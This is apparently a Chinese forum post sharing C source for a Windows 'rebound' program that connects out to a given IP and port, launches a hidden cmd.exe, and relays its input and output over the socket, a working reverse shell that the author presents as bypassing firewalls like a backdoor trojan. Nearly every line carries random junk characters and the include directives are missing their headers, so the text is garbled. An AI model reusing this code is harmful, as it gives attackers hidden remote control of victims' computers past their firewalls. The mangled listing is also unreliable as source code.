这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (A<sFw?
:
1f 5;]%N
/* ============================== V/wc[p
~
Rebound port in Windows NT r7BH{>-
By wind,2006/7 $\J9F=<a
===============================*/ jX8 C2}j
#include #o |&MV_j
#include #*aGzF
tH|Q4C
#pragma comment(lib,"wsock32.lib") >*Z{@1*h
ug3lMN4UX
void OutputShell(); yp/V8C
SOCKET sClient; hm} :Me$[)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v>cE59('0
k2,oyUT=S
void main(int argc,char **argv) >b"z`{tE
{ <}'B-k9
WSADATA stWsaData; VNEZBy"F
int nRet; zxmI/]3+/
SOCKADDR_IN stSaiClient,stSaiServer; Ch&]<#E>`
XTXo xZ#w
if(argc != 3) iI Nu`>I
{ `h{mj|~
printf("Useage:\n\rRebound DestIP DestPort\n"); M,!no
return; KJ{F,fr+v
} 4JQ`&:?r
[q{Txe
WSAStartup(MAKEWORD(2,2),&stWsaData); $j2)_(<A%Q
+mW$D@Pf
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )B5gs%u]
<XcMc<h~
stSaiClient.sin_family = AF_INET; JhXN8Bq33
stSaiClient.sin_port = htons(0); F0^~YYRJV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W%Nu]9T
|l \/ {F
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >nW}zkfn
{ m~IWazj;A
printf("Bind Socket Failed!\n"); d"`>&8*
return; +6Fdi*:
} &)}:Y!qiu
{gHscj;SM
stSaiServer.sin_family = AF_INET; eeTaF!W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~I^[rP~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X^ ]$/rI)
<hC3#dNRd
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8PVs!?Nne
{ _eeX]xSSl
printf("Connect Error!"); v2=!*
return; csA.3|rv
} tnbs]6
OutputShell(); +dpj?
} 3EX&.OL!
g<tTZD\g
void OutputShell() P\0%nyOG(%
{ *H<g9<Dn
char szBuff[1024]; QgM_SY|Rj
SECURITY_ATTRIBUTES stSecurityAttributes; ~g6[ [
OSVERSIONINFO stOsversionInfo; )$N{(Cke2T
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =WRU<`\
STARTUPINFO stStartupInfo; R6o<p<fTh
char *szShell; 5 9HaTq
PROCESS_INFORMATION stProcessInformation; jY6=+9Jz5
unsigned long lBytesRead; rd~W.b_b
dnc!=Z89
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (mr`?LI}
Sq]1SW3
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :=7;P)
stSecurityAttributes.lpSecurityDescriptor = 0; Ywq+l]5/p
stSecurityAttributes.bInheritHandle = TRUE; CKw)J}z
<Y'YpH`l
w3UJw
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _ShJ3\,K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CPE
F,,\
)@|Fh@|
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =C2C~Xd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PBnn,#
stStartupInfo.wShowWindow = SW_HIDE; b<cM[GaV~
stStartupInfo.hStdInput = hReadPipe; zszx@`/3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qfe%\krN{i
T0)y5
GetVersionEx(&stOsversionInfo); ~}ZX^l&k{P
/s_$CSiB
switch(stOsversionInfo.dwPlatformId) Ybg`Z
{ =+\oL!^
case 1: KTJ$#1q
szShell = "command.com"; Q*{
2
break; V]cY+4Y
default: 1OeDWEcB
szShell = "cmd.exe"; )O(Gw-jWE
break; 3<E$m*
} 7ij=%if2@k
gZSi\m>
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D4-U[l+K>
j2n@8sCSO
send(sClient,szMsg,77,0); 0t0:soZx
while(1) . M$D
{ a{.n(M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pD/S\E0@t
if(lBytesRead) 9}_f\Bs
{ DYl{{L8@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `t2! M\)
send(sClient,szBuff,lBytesRead,0); jd'R2e
} He23<hd!
else Y)RikF >
{ O:R{4Q*5
lBytesRead=recv(sClient,szBuff,1024,0); .H.v c_/
if(lBytesRead<=0) break; ^:j:;\;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <p
.[E]a2_
} &NnMz9
} hY9u#3
)ISTb
return; h2<$L
}